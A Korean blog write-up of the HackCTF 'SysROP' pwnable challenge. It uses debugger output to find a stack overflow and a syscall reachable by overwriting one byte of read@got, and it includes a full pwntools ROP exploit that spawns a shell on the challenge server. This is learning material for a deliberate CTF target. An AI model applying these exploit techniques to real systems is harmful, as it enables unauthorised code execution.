-
[Pwnable] SysROPWargame/HackCTF 2020. 1. 12. 20:20
들어가며
HackCTF
문제를 풀면서 제일 많이 삽질한 문제인거 같다.ppppr
가젯이 있다는 것을 확인을 못하고 계속return-to-csu
로 풀려니까payload길이
에서 막혔다.이 문제 덕분에 문제 풀때에는
rp64
로 가젯이 있는지 확인해보고 없을 경우에 다른 방법을 쓰는 쪽으로 갈피를 잡았다.문제해석
root@goorm:/workspace/ubuntu_1604/hackctf/pwnable/sysrop(master)# file sysrop sysrop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=194fc93a0eb283750cbd161d675faaeb4443ca90, stripped
문제는
stripped
되어 있어서 main 함수를 peda로 확인할 수 없었다.이럴때
entry point
를 찾기 위해서는 peda기능인start
로 실행시켜주면 된다.gdb-peda$ start ... Temporary breakpoint 1, 0x00000000004005f2 in ?? () gdb-peda$ x/30i $pc => 0x4005f2: push rbp 0x4005f3: mov rbp,rsp 0x4005f6: sub rsp,0x10 0x4005fa: mov rax,QWORD PTR [rip+0x200a3f] # 0x601040 <stdout> 0x400601: mov ecx,0x0 0x400606: mov edx,0x2 0x40060b: mov esi,0x0 0x400610: mov rdi,rax 0x400613: call 0x4004d0 <setvbuf@plt> 0x400618: mov rax,QWORD PTR [rip+0x200a31] # 0x601050 <stdin> 0x40061f: mov ecx,0x0 0x400624: mov edx,0x2 0x400629: mov esi,0x0 0x40062e: mov rdi,rax 0x400631: call 0x4004d0 <setvbuf@plt> 0x400636: lea rax,[rbp-0x10] 0x40063a: mov edx,0x78 0x40063f: mov rsi,rax 0x400642: mov edi,0x0 0x400647: call 0x4004b0 <read@plt> 0x40064c: mov eax,0x0 0x400651: leave 0x400652: ret 0x400653: nop WORD PTR cs:[rax+rax*1+0x0] 0x40065d: nop DWORD PTR [rax] 0x400660: push r15 0x400662: push r14 0x400664: mov r15d,edi 0x400667: push r13 0x400669: push r12
0x4005f2
부터0x400652
까지가 main함수인 것을 알 수 있다.문제는
120bytes
의 입력을 받고, 그대로 종료한다.어떠한 출력 함수도 없기에 문제를 푸는 방법은 기존과는 다르다.
stack 크기를 알아보자.
gdb-peda$ x/20gx $rsp 0x7fff00c9af20: 0x4141414141414141 0x000000000000000a 0x7fff00c9af30: 0x0000000000400660 0x00007f1a33c0f830 0x7fff00c9af40: 0x0000000000000001 0x00007fff00c9b018 0x7fff00c9af50: 0x00000001341deca0 0x00000000004005f2 0x7fff00c9af60: 0x0000000000000000 0x8ee7f20787587ee3 0x7fff00c9af70: 0x00000000004004f0 0x00007fff00c9b010 0x7fff00c9af80: 0x0000000000000000 0x0000000000000000 0x7fff00c9af90: 0x7119f314d5187ee3 0x70d3950664487ee3 0x7fff00c9afa0: 0x0000000000000000 0x0000000000000000 0x7fff00c9afb0: 0x0000000000000000 0x00007fff00c9b028 gdb-peda$ x/gx $rbp 0x7fff00c9af30 gdb-peda$ p/d $rbp-$rsp $2 = 16
stack 크기는
16+rbp+ret
이므로 24까지 덮고 ret를 변조시켜주면rip control
이 가능하다.이제, 출력함수 하나 없는 이 binary를 exploit해야 한다.
풀이
도통 감이 안잡히는 이 문제.. 일단
문제 이름
으로 풀이를 유추해보자.SysROP
이므로,syscall
을 이용한rop
일 것이다.syscall
이 어디에 있는지 한번 찾아보자.gdb-peda$ x/4i 0x4004b0 0x4004b0 <read@plt>: jmp QWORD PTR [rip+0x200b62] #0x601018 gdb-peda$ x/gx 0x601018 0x601018: 0x00007f1a33ce6250 gdb-peda$ x/4i 0x00007f1a33ce6250 0x7f1a33ce6250 <read>: cmp DWORD PTR [rip+0x2d24e9],0x0 # 0x7f1a33fb8740 <__libc_multiple_threads> 0x7f1a33ce6257 <read+7>: jne 0x7f1a33ce6269 <read+25> 0x7f1a33ce6259 <__read_nocancel>: mov eax,0x0 0x7f1a33ce625e <__read_nocancel+5>: syscall gdb-peda$ 0x7f1a33ce6260 <__read_nocancel+7>: cmp rax,0xfffffffffffff001 0x7f1a33ce6266 <__read_nocancel+13>: jae 0x7f1a33ce6299 <read+73> 0x7f1a33ce6268 <__read_nocancel+15>: ret 0x7f1a33ce6269 <read+25>: sub rsp,0x8 gdb-peda$ 0x7f1a33ce626d <read+29>: call 0x7f1a33d040d0 <__libc_enable_asynccancel> 0x7f1a33ce6272 <read+34>: mov QWORD PTR [rsp],rax 0x7f1a33ce6276 <read+38>: mov eax,0x0 0x7f1a33ce627b <read+43>: syscall
함수의 호출 과정에서
read@got
주소에syscall
이 있을것이라 예상하고 찾았더니 예상대로syscall
이 있었다.그럼 이
syscall
을 어떻게 사용하면 좋을까?rdi
에"/bin/sh"
를 넣고,rsi
,rdx
에 각각0
을 넣는다.마지막으로
rax
에59
를 넣은 후에syscall
을 호출하면,execve("/bin/sh", 0, 0)
가 실행이 될 것이다.그러므로,
1. "/bin/sh"를 bss영역에 넣고, 2. pop rdi, pop rsi, pop rdx, pop rax 가젯을 찾아서 레지스터를 내가 원하는 값으로 초기화해준다. 3. syscall을 호출한다.
가 exploit흐름이 된다.
그런데 여기서 한가지 의문이 생긴다.
memory에
dynamically
하게 정해지는syscall
은 어떻게 호출할 것인가?기본적으로 ASLR이 적용이 되어 있어도
하위 1.5bytes
는고정
되어서 바뀌지 않는다.# first execute gdb-peda$ x/gx 0x601018 0x601018: 0x00007f1a33ce6250 gdb-peda$ x/4i 0x00007f1a33ce6250 0x7f1a33ce6250 <read>: cmp DWORD PTR [rip+0x2d24e9],0x0 # 0x7f1a33fb8740 <__libc_multiple_threads> 0x7f1a33ce6257 <read+7>: jne 0x7f1a33ce6269 <read+25> 0x7f1a33ce6259 <__read_nocancel>: mov eax,0x0 0x7f1a33ce625e <__read_nocancel+5>: syscall # second execute gdb-peda$ x/gx 0x601018 0x601018: 0x00007f0bd71df250 gdb-peda$ x/4i 0x00007f0bd71df250 0x7f0bd71df250 <read>: cmp DWORD PTR [rip+0x2d24e9],0x0 # 0x7f0bd74b1740 <__libc_multiple_threads> 0x7f0bd71df257 <read+7>: jne 0x7f0bd71df269 <read+25> 0x7f0bd71df259 <__read_nocancel>: mov eax,0x0 0x7f0bd71df25e <__read_nocancel+5>: syscall
이 점을 이용하여
read@got
주소를1byte 만을 overwrite
하여syscall
주소로 변조시킨 후에 read함수를 호출하면, syscall로 jmp하게 된다.왜 1.5bytes가 아닌 1byte인지는 잘 알고 있겠지만, read@got에서 syscall까지의 거리가 0x100보다 크지가 않다.(0xe)
위 정보를 총합하여 exploit code를 작성해보았다.
exploit.py
from pwn import * context.terminal = ['tmux', 'splitw', '-h'] breakpoint = {'bp':0x400647} #r = process('./sysrop') r = remote('ctf.j0n9hyun.xyz', 3024) e = ELF('./sysrop') libc = ELF('./libc.so.6') #gdb.attach(r, 'b *{}'.format(breakpoint['bp'])) read_plt = e.plt['read'] read_got = e.got['read'] ppppr = 0x4005ea pppr = 0x4005eb main = 0x4005f2 bss = 0x0000000000601040 main_stage = bss + 0x400 binsh = '/bin/sh\x00' payload = '' payload += "A"*24 payload += p64(pppr) payload += p64(len(binsh)) # rdx payload += p64(0) # rdi payload += p64(main_stage) # rsi payload += p64(read_plt) # read(0, bss, len(binsh)) payload += p64(main) payload2 = '' payload2 += "A"*24 payload2 += p64(pppr) payload2 += p64(1) # rdx payload2 += p64(0) # rdi payload2 += p64(read_got) # rsi payload2 += p64(read_plt) # read(0, read_got, 1) <- '\x5e'(syscall) payload2 += p64(ppppr) payload2 += p64(59) # rax payload2 += p64(0) # rdx payload2 += p64(main_stage) # rdi payload2 += p64(0) # rsi payload2 += p64(read_plt) # syscall(59) -> execve("/bin/sh", 0, 0) r.send(payload) sleep(0.1) r.send(binsh) sleep(0.1) r.send(payload2) sleep(0.1) r.send('\x5e') sleep(0.1) r.interactive()
epilogue
pop rax 가젯이 없으면 이 문제를 어떻게 해결해야 할까..?
bss영역에 "/bin/sh"를 넣고 main으로 jmp한 후에 read@got를 마찬가지로 syscall로 변조한다.
read(0, main_stage, len(binsh)) <- '/bin/sh\x00'
jmp main
read(0, read@got, 1) <- '\x5e'
그렇게 되면 read함수의 return값(read 받은 길이(1))이 rax에 저장될 것이고 그 상태로 rdi를 1(stdout)로, rsi를 read@got로 조작하여 syscall을 부르게 되면 write 함수가 실행이 될 것이다.
write(1, read@got, 0x78) -> libc_read_addr
mov eax, 0x0
leave ret
그렇게 되면 libc를 leak할 수 있다. 또한, eax를 0x0으로 초기화 하여 read 함수를 다시한번 호출할 수 있다.
이후에 exploit방법이 떠오르지 않는다... 나중에 조금 더 생각해봐야지
'Wargame > HackCTF' 카테고리의 다른 글
[Pwnable] Register (0) 2020.01.16 [Pwnable] RTC (0) 2020.01.12 [Pwnable] babyfsb (0) 2020.01.10 [Pwnable] You are silver (0) 2020.01.08 [Pwnable] UAF (0) 2020.01.05